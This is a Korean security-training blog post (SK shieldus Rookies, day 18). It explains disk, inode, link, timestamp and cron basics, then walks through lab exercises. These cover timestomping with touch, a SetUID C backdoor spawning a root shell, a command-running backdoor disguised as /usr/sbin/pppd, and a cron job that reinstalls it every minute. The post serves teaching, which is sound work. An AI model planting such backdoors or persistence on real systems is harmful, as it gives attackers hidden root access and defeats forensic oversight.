이것저것

[SK shieldus Rookies 29기] 18일차 본문

SK Shieldus Rookies 29

[SK shieldus Rookies 29기] 18일차

atfield1988 2025. 12. 5. 09:10

하드디스크의 물리적 구조

하드디스크는 데이터를 저장하기 위해 트랙, 섹터, 클러스터라는 논리적/물리적 단위를 사용합니다.


단위 설명 크기/특징
트랙 (Track) 디스크 플래터의 동심원 전체 하나의 원 전체
섹터 (Sector) 트랙을 나눈 물리적인 최소 저장 단위 보통 512 byte
클러스터 (Cluster) 운영체제가 데이터를 읽고 쓰는 논리적 단위 (여러 섹터의 묶음) 보통 4096 byte (4KB)
트랙 섹터 같은 구역에 있는 섹터의 집합

운영체제는 효율성을 위해 섹터 단위가 아닌 클러스터 단위로 입출력을 수행합니다.


디스크 파티션과 MBR

파티션 (Partition) 구조

물리적인 디스크를 논리적인 영역으로 나누는 것을 말합니다.

  • Primary Partition (주 파티션): 최대 4개까지 생성 가능
  • Extended Partition (확장 파티션): 주 파티션 하나를 대체하여 생성 (디스크당 1개)
    이 안에 여러 개의 Logical Partition을 생성할 수 있음.

MBR (Master Boot Record)

디스크의 가장 첫 번째 섹터(0번 섹터)에 위치하며, 부팅에 필요한 필수 정보를 담고 있습니다.

구성 요소 크기 역할
Boot Loader 446 byte 부팅 가능한 파티션을 찾아 제어권 넘김
Partition Table 64 byte 파티션 정보 (시작/끝 주소 등) 저장 (16byte * 4개)
Boot Signature 2 byte MBR의 끝을 알림 (0x55AA)

파일 시스템 구조 (Block Group)

리눅스 파일 시스템(ext 시리즈 등)은 효율적인 관리를 위해 디스크를 Block Group으로 나눕니다.

주요 구성 요소

  1. Super Block

    • 파일 시스템 전체의 정보를 저장 (총 블록 수, 사용 가능한 블록 수 등)
    • 매우 중요하므로 여러 Block Group에 백업되어 저장됨
    • 손상 시 파일 시스템 접근 불가
  2. Group Descriptor: 블록 그룹의 상태 정보

  3. Data Block Bitmap: 데이터 블록의 사용 여부 표시 (0/1)

  4. Inode Bitmap: Inode의 사용 여부 표시 (0/1)

  5. Inode Table: 실제 Inode들이 저장된 공간

  6. Data Blocks: 실제 파일 데이터가 저장되는 공간


Inode (Index Node)의 이해

Inode란?

파일 시스템에서 파일의 메타데이터(Metadata)를 저장하는 자료구조입니다. 리눅스는 파일 이름이 아닌 Inode 번호로 파일을 식별합니다.

파일명은 어디에?
파일명은 Inode가 아닌 디렉터리의 데이터 블록에 저장됩니다.

📝 Inode에 저장되는 정보

  • 파일 소유자 (Owner) 및 그룹 (Group)
  • 파일 권한 (Permission Mode)
  • 파일 크기 (Size)
  • 타임스탬프 (Access, Modify, Change Time)
  • 데이터 블록의 주소 (Pointer)
  • 링크 수 (Link Count)

🔍 Inode 구조 확인 (ls -il)

$ ls -il
524710 -rw-r--r-- 1 root root 7 Dec 1 09:28 aaa
524718 -rw-r--r-- 1 root root 7 Dec 1 09:29 aaa_cp
  • 524710, 524718 : Inode 번호
  • 1: 링크 수 (Hard Link 수)

Hard Link vs Symbolic Link

Inode의 동작 방식을 이해하면 두 링크의 차이를 명확히 알 수 있습니다.

Hard Link (하드 링크)

  • 동일한 Inode 번호를 가지는 새로운 파일명을 생성
  • 원본 파일과 데이터 블록을 공유함
  • 원본을 삭제해도 데이터는 살아있음 (링크 카운트만 감소)
  • 같은 파일 시스템 내에서만 생성 가능

Symbolic Link (심볼릭 링크)

  • 새로운 Inode 번호를 가진 별도의 파일 생성
  • 원본 파일의 inode 경로(Path)를 데이터로 가짐 (윈도우의 바로가기)
  • 원본 삭제 시 링크는 깨짐 (Broken Link)
  • 다른 파일 시스템 간에도 연결 가능

Ubuntu에서 직접 실습 진행하여 비교해보자

Hard Link와 Symbolick Link의 동작

Hard Link (하드 링크)


해당 이미지를 보면 3에서 4로 바뀌는 지점을 발견할 수 있다. 그렇다면 이 숫자가 의미하는 것이 무엇이냐를 살피자면 직관적으로 봤을 때 파일의 개수가 3개에서 4개로 변경되었다는 것이다. 근데 여기서 봐야하는 포인트는 무슨 파일이냐는 것이다. 원본 파일 aaa의 하드링크 파일의 개수가 4개라는 의미이다.

이 화면에서 봐도 bbb 파일과 하드링크 파일 하나 해서 총 2개이다.

이제 삭제를 진행해보자! 위에서 학습을 진행했을 때, 하드링크는 원본을 삭제해도 데이터는 살아있다고 배웠다.

실제로 bbb를 삭제해보자

삭제를 진행하였음에도 bbb_hl은 살아있음을 확인할 수 있다.

Symbolic Link (심볼릭 링크)

이번에는 심볼릭 링크를 보겠습니다.

하드링크와는 다르게 Inode 번호가 524710이 아닌 524721로 나타나는 것을 확인할 수 있습니다.

이제 삭제를 진행해보겠습니다.
원본 파일을 삭제하는 경우입니다.

심볼릭 링크가 나오지 않은 것을 확인할 수 있습니다.

또한 '윈도우의 바로가기' 라고 위에 기술을 했는데 아래 화면에서 그 의미를 확인 할 수 있다.


stat 명령어를 통해 확인할 수 있는 정보

실제 stat 명령어를 입력하였을 때 나타나는 화면입니다.
Inode: 524710 으로 Inode 번호를 확인할 수 있습니다.

출력 정보:

  • 파일 크기 (Size) : 7
  • Inode 번호 : 524710 으로 Inode 번호를 확인할 수 있습니다.
  • 권한 (Access) : 0644/-rw-r--r--
  • 타임스탬프 (Access, Modify, Change, Birth)

타임스탬프 (Timestamp)

3가지 시간 정보 (MAC Time)

3가지라고 쓰기는 했지만 출력되는 것은 4가지이긴 하다.
하지만 전통적으로 워낙에 MAC time이라고 써서.. 3가지로 서술하였다.
아래 표에는 일단 모두 삽입하였다.

종류 약어 설명 변경 시점
Access Time atime 접근 시간 파일 내용을 읽었을 때 (cat, more)
Modify Time mtime 수정 시간 파일 내용이 변경되었을 때 (vi, nano)
Change Time ctime 변경 시간 파일 속성(권한, 소유자 등)이 변경되었을 때
Birth Time btime 생성 시간 일반적으로 변경 불가
  • Access Time은 처음 읽었을 때만 변경이 됩니다. 두번째 읽었을 때는 처음과 똑같이 시간이 기록됩니다.

    해당 화면의 시간을 잘 보면 first read와 second read의 시간이 똑같은 것을 확인할 수 있습니다.

touch 명령어의 2가지 기능

1️⃣ 파일을 생성한다. 단, 0byte로
2️⃣ 기존에 있는 파일에 touch 명령어를 하면 Modify Time이 업데이트가 된다.

아래 화면에서 자세히 확인할 수 있다.

저번에 작성하였던 글에서는 시간 변경이 가능하다고 적었는데 이러한 내용은 공격자의 흔적 지우기에 사용이 됩니다. touch 명령어를 이용해 파일의 Modification time (mtime)을 의도적으로 변경하는 것은 시스템 침해 후 공격자가 자신의 흔적을 감추는 데 사용되는 전형적인 기법 중 하나입니다. 추후에 배우겠지만 이러한 기법은 디지털 포렌식(Digital Forensics) 분석을 방해하는 데 중점을 둡니다. 이러한 공격 기법은 보통 "타임스톰핑(Timestomping)"이라고 불립니다. touch 명령어는 리눅스/유닉스 시스템에서 파일의 타임스탬프를 쉽게 변경할 수 있게 해주기 때문에, 공격에 자주 활용됩니다.


 1. 정상 파일의 시간을 참조
$ stat /bin/ls 
...
Modify: 2023-01-01 10:00:00.000000000 +0900 

 2. 악성 파일의 mtime을 동일하게 변경
$ touch -r /bin/ls /usr/bin/backdoor 

touch -t 202511281200 file.txt  # 수정 시간을 특정 시간으로 변경

실습 1. SetUID를 이용한 local Backdoor 생성과 root 권한 탈취

이 실습에서는 backdoor.c라는 간단한 C 프로그램을 작성하고, 이 파일에 SetUID 권한을 부여하여 일반 사용자가 실행할 때 Root 권한을 얻게 되는 과정을 다룹니다.


일단 유저를 추가해줍니다.

나노편집기를 열고 해당 C코드를 작성합니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0); // 사용자 ID를 0(Root)으로 설정
    setgid(0); // 그룹 ID를 0(Root)으로 설정
    system("/bin/bash"); // 루트 쉘 실행
    return 0;
}

이제 컴파일과 특수권한을 부여합니다.

gcc -o backdoor backdoor.c    // 컴파일
chmod 4755 backdoor           // 4(SetUID) + 755 권한 설정
  • 부여 전
  • 부여 후

이제 일반 사용자로 전환하여 백도어를 실행해 봅시다.

결과: 일반 사용자가 백도어를 실행하는 순간 Root 쉘을 획득하게 됩니다.


실습 2. Backdoor 숨기기

백도어가 마치 시스템상의 중요한 setuid파일인 것처럼 위장하기

보안담당자가 점검하다가 이상한 것을 발견하였다!

일반 계정 파일이 루트 권한을 왜 가지고 있음?

삭제를 했다. 공격자는 마음이 아프다. 딱 걸렸다... 어떻게 해야지 안 걸릴까..??
이제 그러면 숨겨둬야겠다.
숨길만한 데 찾다 보니까 여기가 괜찮아 보임 좋아! 너로 정했다.
기존 backdoor.c를 수정하여, 실행 시 특정 명령을 인자로 받아 처리하도록 만든다.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[ ])
{
       char exec[100];
       setuid(0);
       setgid(0);
       sprintf(exec, "%s 2>/dev/null", argv[1]); // 인자로 받은 명령어 실행
       system(exec);
       printf("./pppd: The remote system is required to authenticate itself\n");
       printf("./pppd: but I couldn't find any suitable secret (password) for it to use to do so.\n");
}
//원래 ppd파일에서 출력하는 메세지를 그대로 출력하게 print문 작성

컴파일 후 정상 파일(pppd)을 백업하고, 악성 파일로 덮어씁니다.
(괜히 시스템 작동 안 될 수도 있으니깐..)

gcc -o backexec backexec.c
chmod 4755 backexec
cp /usr/sbin/pppd /usr/sbin/pppd.bak  // 원본 백업
mv backexec /usr/sbin/pppd            // 악성 파일로 교체
# 나는 그냥 무브 시켜버렸다. 

  • 마치 정상인 것처럼 출력이 되고 있다.

    뒤에 값을 받으니까 입력을 하면 동작한다.(주석을 읽자)
    이제 일반 사용자로 돌아갑니다.

    잘 동작하는 확인하기 위해서 BBB 디렉을 만들자.

at & cron 명령어

일회성 작업 예약: at 명령어

개념

지정한 시간에 한 번만 명령이나 스크립트를 실행할 때 사용합니다. atd 데몬에 의해 실행되며, 예약된 작업은 큐(Queue)에 저장됩니다.

  • 저장 위치: /var/spool/at

사용법 및 예시

  1. 작업 예약

    # at 13:00pm
    at> ls -al > /TEST/today
    at> <Ctrl+D>
    • 오후 1시에 ls 결과를 파일로 저장하는 작업 예약
    • 입력 완료 후 Ctrl+D로 종료

      설정한 시간에 작업이 실행된 것을 확인할 수 있습니다.

  2. 작업 관리 명령어

    • at -l: 예약된 작업 목록 확인 (list)
    • at -c [작업번호]: 작업의 구체적인 내용 확인 (cat)
    • at -d [작업번호]: 예약된 작업 삭제 (delete)

주기적 작업 예약: cron 명령어

개념

특정 시간이나 주기마다 프로세스를 반복적으로 실행할 때 사용합니다. 시스템 운영(로그 회전, 백업 등)에 필수적입니다.

  • 시스템 작업: /etc/crontab에 root 권한으로 등록
  • 사용자 작업: /var/spool/cron/[사용자ID]에 등록

Crontab 문법 구조

# 분  시  일  월  요일  [사용자]  명령어
  *   *   *   *   *    root    /etc/work.sh
필드 범위 비고
분 (Minute) 0 ~ 59
시 (Hour) 0 ~ 23
일 (Day) 1 ~ 31
월 (Month) 1 ~ 12
요일 (Week) 0 ~ 7 0, 7 = 일요일, 1 = 월요일...

설정 예시

  1. 평일 점심시간 실행

    0 12 * * 1-5 /etc/work.sh
    • 월(1) ~ 금(5) 오후 12:00에 실행
  2. 격월 1일 새벽 실행

    10 4 1 1-12/2 * /etc/work.sh
    • 1월부터 12월까지 2개월 간격으로(/2), 1일 오전 4시 10분에 실행
  3. 10분마다 실행

    */10 * * * * /etc/work.sh

실습 3. Cron을 이용한 Backdoor 생성

아까처럼 꽁꽁 숨겨놓았지만 월급 루팡이 아닌 보안담당자는 또다시 backdoor파일을 발견하여 삭제를 해버렸다. 화가 난 공격자는 다른 방법을 생각한다.

Cron 데몬은 시스템이 부팅되면 자동으로 실행되므로, 악성 코드의 지속성(Persistence)을 유지하기 위해 자주 악용한다.

  1. Backdoor 소스 작성: root 권한을 탈취하는 C 코드 작성
  2. 설치 스크립트 작성: 백도어를 컴파일하고 정상 파일(pppd)로 위장
  3. Cron 등록: 스크립트를 1분마다 자동 실행하도록 설정

공격자는 이렇게 3단계로 진행하기로 마음을 먹었다.

1단계는 전에 만들어 둔 소스코드를 활용하기로 했다. 바로 2단계로 간다.

이 중에서 첫번째 /etc/cron.d에다가 스크립트를 저장하기로 결정했다.

# set.sh 코드
gcc -o backexec /home/atfield/backexec.c
chmod 4755 backexec           # SetUID 설정
mv backexec /usr/sbin/pppd    # 정상 시스템 파일로 위장

ls -l set.sh 명령어를 통하여 권한 부여 여부 확인을 해준다.
스크립트라 특수권한은 필요 없지만 실행은 해야한다.

# nano /etc/crontab
* * * * * root /etc/cron.d/set.sh

위 명령어를 실행한다.
이제 공격자는 공격이 성공적으로 마쳐서 기분이 좋다.
퇴근을 한다.

그러나 퇴근을 한 뒤 보안 담당자는 출근을 한다.
열심인 보안 담당자는 또 다시 발견했다.
또 지웠다.

안심이다. 내가 공격자의 공격을 완벽히 지웠다.
공격자 때문에 출근을 했지만..막았으니 마음이 뿌듯하다!!
칭찬 받겠지 (@!@)

어림없는 볼! I'll be back~

죽지도 않고 다시 살아 돌아왔다.


뒤에 내용이 더 남아있기는 하지만 지금 해봐야 죽도 밥도 안되는 분량이라 내일 한꺼번에 정리하자